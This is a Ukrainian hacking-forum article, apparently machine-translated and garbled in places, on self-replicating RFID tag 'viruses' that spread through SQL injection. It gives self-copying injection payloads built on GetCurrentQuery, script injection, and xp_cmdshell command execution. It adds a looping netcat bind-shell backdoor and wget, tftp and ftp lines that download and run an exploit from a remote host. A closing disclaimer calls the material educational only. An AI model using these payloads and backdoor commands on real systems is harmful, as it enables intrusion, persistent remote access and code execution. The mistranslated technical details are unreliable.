Вірус в RFID-хакинге, структура.


{Вступ}

У цій статті доповнення, по темі RFID-хакинга. Основи і початок викладені в першій статті за адресою: http://forum.antichat.ru/thread123511.html. З який ми дізналися що, RFID- це Radio Frequency IDentification (радіочастотна ідентифікація) метод віддаленого зберігання і отримання інформації шляхом передачі радіосигналів за допомогою пристроїв званих RFID-мітками.

{Про паразитів}

Основні функції вірусу в даному виді атак, це самокопірованіє, і виконання довільного коду. Для цих цілей паразит використовує зазвичай базу даних. Деталі залежать від бази даних, яка використовується. В основному можна виділити два класи вірусів в даному виді атак: перший використовує довільні запити в бд, другий все здійснює за допомогою quines (спец програма).
Довільний код який може виконати вірус, залежить і від механізмів відповіді бази даних на SQL-ін'єкцій.


{SQL-ін'єкції}

В системах адміністрування, зазвичай використовується спосіб запитів RFID-міток з бази даних, з подальшим поверненням даних, які в свою чергу при правильній послідовності можна копіювати. Так і копіюють самі мітки за наявності певних факторів.

На даний момент можна розглянути два види вірусів, перший це програма одиничного запиту і другий, це використання багаторазових запитів.
Перший вид вірусу, використовує мінімум місця, і за своєю структурою не може нести в собі бойового навантаження. І використовується лише для введення вже запланованої інформації в базу даних. Вірус, який використовує багаторазові запити навпаки, вже створений для зараження систем аутоіндіфікаціі, і введення шкідливого коду або ж іншої бойової навантаження. Найчастіше використовується другий спосіб, але для коректної роботи, цього типу вірусу, потрібно щоб належним чином дотримувалися деякі умови в базі даних, а це забезпечення роботи функції GetCurrentQuery-стилю, для доступу. Це потрібно щоб уникнути помилки, так як ця API Фітч дозволяє вводити коментар. (Поспішаю заспокоїти вас, дані функції спочатку включені в системах за замовчуванням)

Конкретні атаки можна здійснити, коли база даних зробила запит в мітці, а та відповіла ось таким змістом
UPDATE ContainerContents SET OldContents = '% contents%' WHERE TagID = '% id%'

Тут буде замнеться в подальшому змінні contents і id

Якщо даний запит пройде без помилок, то нападник може змінювати запит на свій розсуд за допомогою нашої улюбленої лапки ( ''). А що можна зробити, ??? А це додати всього лише Сточки самокопірованія в область NewContents і заражати інші системи аналогічним способом.

Ось приблизно те що нам потрібно:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Замість того, щоб тільки оновлювати область OldContents, запит тепер також оновлює область NewContents. За допомогою коментаря SQL (-), в базі даних всі ряди будуть перемещени.Что відкриває нові можливості для атакуещего.

Вставка шкідливого коду.

В описаній вище технології Інжект, неможливе виконання будь-якого коду крім запитів до бази данних.Однако при включенні з клієнтської сторони скріптенга, сервер автоматично стає вразливий. Скрипти можуть бути вставлені після коментаря, так, щоб система бази даних проігнорувала їх.
Єдине що потрібно врахувати, що при включенні коду в експлойт, потрібно враховувати третій параметр SUBSTR який повинен відповідати довжині експлойта.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
У більш серйозному варіанті з використанням змінних, і вставок не тільки якихось певних скрипів це буде виглядати так:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Тут шкідливий код повинен бути опрацьований двічі, Тоесть перший раз, це самокопірованіє в базу даних, другий раз це виконання самого себе.

НА даний момент можливість коментарю присутній в Оракул (OCI / iSQL * Plus) Це забезпечує функціональні можливості GetCurrentQuery-стилю, з подальшими привілеями адміністратора.PostgreSQL, MySQL і Сервер SQL так само дозволяють коментарі і багаторазові інжект-запити. Тут теж присутні функціональні можливості GetCurrentQuery-стилю. Однак для PostgreSQL і Сервер SQL, ще не створені надійні робочі віруси, все обмежилося лише пробними розробками.


{Кілька прикладів вводиться шкідливого коду}

Функції управління системи, забезпечені базами даних, можуть використовуватися, щоб викликати проблеми. Наприклад, Сервер Microsoft SQL забезпечує функцію ЗАКРИТТЯ, яка дозволяє базі даних бути закритою від SQL.
Читання Даних від Бази
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' дані в наведеному нижче запиті може бути використаний для прямих запитів до бази даних.
'|| (SELECT ...) ||'
У цьому випадку, лапки виконують ін'єкцію SQL і змушують дані інтерпретуватися як кодекс. || оператор виконує зв'язок послідовності, викликаючи результат ОБРАНОГО запиту бути доданим до області в базі даних. Оператор зв'язку послідовності потрібно, для того, щоб нітролізовать коментар тоесть наші улюблені лапки.


{Виконання Shell-команд через SQL-інжект}

Сервер SQL забезпечує xp_cmdshell процедуру, яка дозволяє шкідливим і не дуже, командам бути виконаними.
EXEC Master..xp_cmdshell 'commands';

{Установка бекдор в системі}

Для протрояніванія системи нам потрібні следущте команди
netcat -lp1234|sh
де буде прослуховуватися тисячі двісті тридцять чотири порт.

Але тут нас підстерігає небезпека, встановленого і правильно налаштованого фаірвола або брендмаура. І тут є рішення, запустити код в нескінченному циклі, так щоб він працював як демон, що саме по собі дозволяє створити більш просунутий бек.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Інші можливості}

Є ще корисні фітчи, наприклад wget.Тоесть завантаження файлу по мережі, і зберігання файлу в системі.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget зазвичай не доступний на системах Windows. В цьому випадку, потрібно використовувати tftp
tftp -i ip GET myexploit.exe & myexploit
Так само можна створити текстовий фаил, як то кажуть на льоту, з використанням функції echo
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Висновок}

У цій статті описувалося проникнення, в уразливу систему по засобом програмування RFID-міток .Тут звичайно Я повинен попередити, що весь викладений матеріал представлений лише для ознайомлення. З причини складності виконання технології, а саме створення самої мітки і програмування її з злим умислом, видається мені занадто складним для простого обивателя. Так що попереджаю людей знаючих але страждають неробством, не варто перевіряти дану інформацію на практиці.